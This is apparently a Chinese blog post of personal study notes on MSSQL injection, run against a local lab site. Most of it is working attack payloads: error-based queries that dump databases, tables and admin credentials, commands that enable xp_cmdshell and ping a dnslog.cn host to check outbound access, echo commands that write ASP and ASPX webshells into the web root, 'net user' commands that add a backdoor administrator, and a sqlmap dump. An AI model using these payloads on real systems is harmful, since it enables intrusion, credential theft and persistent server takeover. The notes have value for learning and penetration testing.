MSSQL注入笔记

最近在学习MSSQL注入,以前注入的知识全都忘记了,甚至连MSSQL语句都不认识了,非常尴尬,趁着周末有时间,便重新复习了一下,并写个笔记。

写的比较乱,有时间再重新整理一下
2021.2.28 15.48.55

MSSQL基础知识

SQL Server默认库的介绍

初始库有4个
master
master 数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,并在所有其他数据库信息。
 
model
model 数据库是一个模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名称。

msdb
msdb 数据库是 SQL Server 代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等。

tempdb
tempddb 数据库是由 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求。

存储过程

这里我们经常要打交道的库也就是master,他储存了我们的所有数据库名等等,还有很多储存过程,所谓储存过程你可以把他理解成一个函数调用的过程。

储存过程是一个可编程的函数,它在数据库中创建并保存。它可以有SQL语句和一些特殊的控制结构组成。当希望在不同的应用程序或平台上执行相同的函数,或者封装特定功能时,存储过程是非常有用的。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式。

注入流程,简洁

拿数据的
##判断注入点
and user>0 --
having 1=1--	

##判断权限,如果页面回显正常则为正确,否则报错
and 1=(select IS_SRVROLEMEMBER('sysadmin')) --

##获取当前数据库
And 1=(select db_name()) --

##获取当前数据库内的所有数据表
and 1=convert(int,(select quotename(name) from 数据库..sysobjects where xtype='U' FOR XML PATH(''))) --

##获取当前数据库内的指定数据表的所有字段
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- 

##取指定数据库内的表数据内容
and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--



命令执行
##开启xp_cmdshell,0为关闭,1为开启
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; --

##关闭xp_cmdshell
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; --

##执行ping判断否能执行xm_cmdshell和服务器是否通外网,注意:需要开启多语句才能执行xm_cmdshell
;exec master..xp_cmdshell "ping teki6x.dnslog.cn" -- 

##写入一句话木马(asp),需要知道网站根目录
;exec master..xp_cmdshell 'echo ^<%25eval request(1234)%25^> >  C:\Inetpub\wwwroot\test.asp' --

##写入一句话木马(aspx),需要知道网站根目录
;exec master..xp_cmdshell 'echo ^<%25@ Page Language="Jscript"%25^>^<%25eval(Request.Item["aaa"],"unsafe");%25^> >  C:\Inetpub\wwwroot\test.aspx' --

##用XP_CMDSHELL添加用户test1
;exec master.dbo.xp_cmdshell 'net user test1 test1 /add' --

##XP_CMDSHELL把用户test1加到ADMIN组,添加管理员组才可远程
;exec master.dbo.xp_cmdshell 'net localgroup administrators test1 /add' -- 



无回显/网站根目录获取
##在数据库tempdb下创建临时表temp_db,字段test
;use tempdb;create table temp_db (test varchar(1000)); --

##查找网站文件并把结果写入到temp_db表中
;use tempdb;insert into temp_db(test) exec master..xp_cmdshell 'dir /s /b C:\search.asp';--

##用sqlmap得到表temp_db的内容:
python2 sqlmap.py -r 1.txt --dbms="Microsoft SQL Server" --technique=E  -D "tempdb" -T "temp_db" -C "test" --dump --fresh-queries															--fresh-queries参数为刷新缓存

##手工读取temp_db表内容
and 1=(select top 1 * from tempdb..temp_db where test=1 FOR XML PATH(''))--

##建议用like匹配更好,注意吧"%" "''"编码,%编码是%25,单引号是%27
and 1=(select top 1 * from tempdb..temp1_db where test1 like %27%25asp%27  FOR XML PATH('')) --

注入

常用命令

http://192.168.201.136/detail/?id=2 having 1=1--										##查看用户信息表
http://192.168.201.136/detail/?id=2 and 1=(select @@servername) -- 						##本地主机名
http://192.168.201.136/detail/?id=2 And 1=(select db_name()) --  						##当前数据库名
http://192.168.201.136/detail/?id=2 and 1=(select @@VERSION) -- 						##当前数据库版本
http://192.168.201.136/detail/?id=2 and 1=(select IS_SRVROLEMEMBER('sysadmin')) -- 		##判断是否是系统管理员
http://192.168.201.136/detail/?id=2 and 1= (Select HAS_DBACCESS('master')) -- 			##判断是否有库读取权限
http://192.168.201.136/detail/?id=2and 1=(Select IS_MEMBER('db_owner')) 				##判断是否是库权限
http://192.168.201.136/detail/?id=2 and 1=convert(int,(select quotename(name) from master..sysdatabases FOR XML PATH(''))) --																		##一次性获取全部数据库
http://192.168.201.136/detail/?id=2 and 1=convert(int,(select quotename(name) from maxcms..sysobjects where xtype='U' FOR XML PATH(''))) -- 														##获取maxcms数据库表

更多命令

and host_name()=@@servername --  													##判断是否站库分离
;select user																		##判断是否支持多语句

注入点判断

http://192.168.201.136/detail/?id=3'
http://192.168.201.136/detail/?id=3 and 1=1/2
http://192.168.201.136/detail/?id=3' and 1=1/2
http://192.168.201.136/detail/?id=3 and user>0
http://192.168.201.136/sqli/less-2.asp?id=1,2
http://192.168.201.136/sqli/less-2.asp?id=8-1										##页面发生变化即为注入
http://192.168.201.136/sqli/less-2.asp?id=1 having 1=1 --

信息收集

通过SQL Server系统表sysobjects是否存在来判断当前数据库是否为MSSQL

http://192.168.201.136/detail/?id=3 and exists (select * from sysobjects)
http://192.168.201.136/detail/?id=2 AND UNICODE(SQUARE(NULL)) IS NULL -- 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w6mcVZEK-1614498282183)(/image-20210220155620119.png)]

查看当前数据库
http://192.168.201.136/detail/?id=3 and db_name()>0;--   ##' and (select db_name())=1 -- 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XFHkusrQ-1614498282185)(/image-20210220163817860.png)]

遍历dbid可获取所以数据库

http://192.168.201.136/detail/?id=2 and 1=(select name from master.dbo.sysdatabases where dbid=5)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PW40IwoR-1614498282187)(/image-20210220171257066.png)]

查看当前用户
http://192.168.201.136/detail/?id=2 and 1=(select IS_SRVROLEMEMBER('sysadmin')) --   
##如果页面回显正常则为正确,否则报错

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UVUQFEoQ-1614498282189)(/image-20210225105321959.png)]

查看数据库版本
http://192.168.201.136/detail/?id=2 and (select @@version)=1--
http://192.168.201.136/detail/?id=3 and 1=(select @@VERSION) -- 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P7WzsdaF-1614498282191)(/image-20210220164459804.png)]

ID需要存在,否则会出现以下情况

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0eGcBrhr-1614498282192)(/image-20210220164617428.png)]

注入流程(示例)

取库

先取出当前数据库

http://192.168.201.136/detail/?id=2 and db_name()>0 -- 									##获取当前数据库
http://192.168.201.136/detail/?id=2 and 1=convert(int,(select quotename(name) from master..sysdatabases FOR XML PATH(''))) -- 																		##获取所有数据库

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kSx82k18-1614498282193)(/image-20210225105938603.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YbdC1FxX-1614498282194)(/image-20210225110547209.png)]

单个数据库获取,遍历dbid可获取所有数据库

http://192.168.201.136/detail/?id=2 and 1=(select name from master.dbo.sysdatabases where dbid=5)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n1PMVQHJ-1614498282195)(/image-20210225105108561.png)]

取表

通过回显可知,当前数据库为maxcms,接下来获取maxcms数据库内的所有表

and 1=convert(int,(select quotename(name) from [数据库名]..sysobjects where xtype='U' FOR XML PATH(''))) -- 
and 1=convert(int,(select quotename(name) from maxcms..sysobjects where xtype='U' FOR XML PATH(''))) -- 
注:一次性获取表名,如果表很多的话会失败

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ITt6V0hz-1614498282196)(/image-20210225110358003.png)]

取到maxcms的所有表后,发现并无user表信息,目前需要的是后台账号,继而去获取test库的表

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-384RTL5x-1614498282197)(/image-20210225120338427.png)]

取字段

遍历test库发现users表,猜测后台账号存在该表内,使用以下命令获取指定表的所有列(只限于mssql2005及以上版本)

http://192.168.201.136/detail/?id=2 and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- 
http://192.168.201.136/detail/?id=2 and 1=(select quotename(name) from test..syscolumns where id =(select id from test..sysobjects where name='users') FOR XML PATH(''))-- 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Hg0qYrIB-1614498282198)(/image-20210225150909292.png)]

取字段数据

得到所有列后,就可获取指定表的所有字段数据了,遍历id可获得所有账号密码

 and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
 and 1=(select top 1 * from test..users where id=9 FOR XML PATH(''))--

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-raISTlFY-1614498282199)(/image-20210225151305509.png)]

重新来

密码不对,估计在maxcms这个库里,需要重新注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HorhXDim-1614498282200)(/image-20210225151904469.png)]

http://192.168.201.136/detail/?id=2 and 1=convert(int,(select quotename(name) from maxcms..sysobjects where xtype='U' FOR XML PATH(''))) -- 															##取表
http://192.168.201.136/detail/?id=2 and 1=(select quotename(name) from maxcms..syscolumns where id =(select id from maxcms..sysobjects where name='m_manager') FOR XML PATH(''))-- 	 					##取字段
http://192.168.201.136/detail/?id=2 and 1=(select top 1 * from maxcms..m_manager where m_id=1 FOR XML PATH(''))--																				  ##取字段内容

注:where后的id根据数据库的真实字段而定,或者用like

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-da8jtQud-1614498282201)(/image-20210225153239180.png)]

需要注意的是,maxcms数据库的m_manager表的id值是m_id,这个在后续注入需要改一下,否则会报错(列名 ‘id’ 无效)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p7LsFuRt-1614498282202)(/image-20210225153148050.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aZEYvuZw-1614498282203)(/image-20210225152954273.png)]

xp_cmdshell

命令执行
无回显

执行ping判断否能执行xm_cmdshell和服务器是否通外网

http://192.168.201.136/detail/?id=2;exec master..xp_cmdshell "ping 13rjad.dnslog.cn" -- 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hXButCUo-1614498282205)(/image-20210222160155965.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Aowe6Mi1-1614498282206)(/image-20210222160203928.png)]

找到web根目录,可以echo写入一个test文件看看能不能写shell,比如 exec master…xp_cmdshell ‘whoami > www/test.txt’

获取网站根目录

无回显
##在数据库tempdb下创建临时表temp_db,字段test
;use tempdb;create table temp_db (test varchar(1000)); --

##查找网站文件并把结果写入到test表中
;use tempdb;insert into temp_db(test) exec master..xp_cmdshell 'dir /s /b C:\search.asp';--

##用sqlmap得到表test的内容:
python2 sqlmap.py -r 1.txt --dbms="Microsoft SQL Server" --technique=E  -D "tempdb" -T "temp_db" -C "test" --dump

##手工读取temp_db表内容
and 1=(select top 1 * from tempdb..temp_db where test=1 FOR XML PATH(''))--

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TOGKYC51-1614498282207)(/image-20210225174810845.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g52xzDhc-1614498282208)(/image-20210225175723901.png)]

写入文件

一些编码的问题

注:DOS命令将文件写入文本中时,遇到<>应在前面加上^,不然会报错

http://192.168.201.136/detail/?id=2;exec master..xp_cmdshell 'echo ^<%25eval request(1234)%25^> >  C:\Inetpub\wwwroot\sas1.asp' -- 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Y4TfiyIg-1614498282209)(/image-20210222165742149.png)]

注:上传asp webshell无法连接时,可以上传aspx webshell进行利用

写入文件时,%号会被吃掉,需要把"%"url编码一下

http://192.168.201.136/detail/?id=2;exec master..xp_cmdshell 'echo ^<%25eval request(1234)%25^> >  C:\Inetpub\wwwroot\sas1.asp' -- 

双引号有冲突,可以改为把xp_cmdshell的传参改为单引号

http://192.168.201.136/detail/?id=2;exec master..xp_cmdshell "echo ^<%25eval request("aaa")%25^> >  C:\Inetpub\wwwroot\sas3.asp" -- 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NRI3RJ53-1614498282210)(/image-20210222174539114.png)]

http://192.168.201.136/detail/?id=2;exec master..xp_cmdshell 'echo ^<%25eval request("aaa")%25^> >  C:\Inetpub\wwwroot\sas3.asp' -- 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jueesPby-1614498282211)(/image-20210222175255318.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jJb7Zb9f-1614498282211)(/image-20210222175312941.png)]
未完待续
2021.2.26

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值